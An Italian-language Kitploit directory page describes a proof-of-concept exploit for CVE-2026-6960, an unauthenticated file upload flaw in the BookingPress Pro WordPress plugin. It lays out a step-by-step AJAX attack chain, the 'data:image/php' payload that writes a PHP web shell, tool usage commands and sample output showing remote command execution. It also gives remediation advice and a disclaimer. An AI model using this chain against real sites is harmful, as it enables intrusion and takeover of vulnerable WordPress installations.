Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6960 — Exploit proof-of-concept per CVE-2026-6960: caricamento arbitrario di file non autenticato in BookingPress Pro ≤ 5.6. Automatizza una catena in 3 passaggi per caricare una web shell PHP tramite iniezione di data URI, ottenendo l'esecuzione remota di codice sui siti WordPress vulnerabili. | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-6960
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Exploit proof-of-concept per CVE-2026-6960: caricamento arbitrario di file non autenticato in BookingPress Pro ≤ 5.6. Automatizza una catena in 3 passaggi per caricare una web shell PHP tramite iniezione di data URI, ottenendo l'esecuzione remota di codice sui siti WordPress vulnerabili.

Condividi

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Caricamento Arbitrario di File Non Autenticato

CVE CVSS CWE Auth Version Python

Ricerca di: Atomic Edge Gravità: Critica | CVSS: 9.8 | Autenticazione richiesta: Nessuna

⚠️ v2 — Correzioni tecniche applicate in base al feedback della community. Vedi Registro delle modifiche per i dettagli.


Panoramica

Nel plugin WordPress BookingPress Pro (versioni ≤ 5.6) esiste una vulnerabilità critica di caricamento arbitrario di file non autenticato. Il gestore di invio delle prenotazioni bookingpress_book_appointment_booking elabora il valore di un campo personalizzato di tipo firma come data URI. Il plugin estrae l'estensione del file dalla porzione del tipo MIME dell'URI tramite regex e la passa direttamente a file_put_contents() — senza alcuna allowlist o blocklist delle estensioni. Ciò consente a un attaccante di scrivere una web shell PHP in una directory accessibile via web e ottenere Esecuzione Remota di Codice (RCE).


Precondizioni

⚠️ Tutte le seguenti condizioni devono essere vere affinché il sito sia sfruttabile:

  • ✅ Un campo personalizzato di tipo firma deve essere configurato nel modulo di prenotazione di BookingPress dall'amministratore del sito
  • ✅ Deve esistere almeno un servizio attivo (per generare uno slot temporale valido)
  • ✅ Una pagina con il widget del modulo di prenotazione BookingPress deve essere pubblicamente accessibile

I siti che eseguono versioni ≤ 5.6 senza un campo personalizzato di firma configurato non sono sfruttabili tramite questo vettore.


Flusso dell'attacco

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Dettaglio della causa principale

Il percorso di codice vulnerabile elabora il valore del campo firma come un data URI:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress estrae {ext} dal tipo MIME tramite una corrispondenza regex, quindi scrive il contenuto decodificato su disco usando file_put_contents() con quell'estensione aggiunta al nome del file — nessun controllo tramite allowlist viene eseguito. Fornire image/php come tipo MIME comporta la scrittura di un file .php nella directory di upload.

Questo è fondamentalmente diverso da un upload di file multipart standard — il payload è incorporato in un campo del corpo JSON, non in una parte di upload di file.


Requisiti

root@kitploit:~
pip install requests

Utilizzo

root@kitploit:~
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

Argomenti

Output di esempio

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Rimedio

  1. Valida il tipo MIME del data URI rispetto a una allowlist rigorosa (image/png, image/jpeg, image/svg+xml) prima di estrarre l'estensione
  2. Non derivare mai un'estensione di file da input controllato dall'attaccante — genera un nome file casuale con un'estensione sicura hardcoded
  3. Usa la funzione nativa di WordPress wp_check_filetype_and_ext() per tutta la validazione dei tipi di file
  4. Valuta di archiviare i file di firma fuori dalla web root per impedire l'esecuzione diretta

→ Aggiorna subito a BookingPress Pro 5.7.


Registro delle modifiche

v2 (2026-05-23) — Correzioni tecniche


Dichiarazione di non responsabilità

Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. Non utilizzare questo strumento contro alcun sistema senza esplicita autorizzazione scritta del proprietario del sistema. L'uso non autorizzato può violare il CFAA (USA), il Codice Penale canadese (art. 342.1), la Direttiva NIS2 dell'UE e altre leggi applicabili. Gli autori non si assumono alcuna responsabilità per usi impropri o danni derivanti da questo codice.

Scarica lo strumento
PropertyDetail
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Versioni interessate≤ 5.6
Risolta in5.7
VettoreRete / Non autenticato
Azione AJAXbookingpress_book_appointment_booking
Causa principaleEstensione estratta dal tipo MIME controllato dall'attaccante nel data URI → file_put_contents() senza allowlist
CWECWE-434: Caricamento senza restrizioni di file con tipo pericoloso
FlagDescrizioneDefault
-u, --urlURL WordPress di destinazione(obbligatorio)
-bp, --booking-pagePercorso della pagina contenente il modulo BookingPress/
-s, --service-idID del servizio BookingPress1
-f, --filenameNome del file della shell (estensione iniettata nel MIME del data URI)shell.php
--no-verifyDisabilita la verifica del certificato SSLfalse
#Problemav1 (errato)v2 (corretto)
1Azione AJAXbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Metodo del payloadUpload di file multipart con image/pngData URI: data:image/{ext};base64,...
3Flusso di sfruttamentoPOST diretto non autenticatoCatena di prerequisiti in 3 passaggi (nonce → transient → token)
4PrecondizioneNon documentataIl campo personalizzato di firma deve essere configurato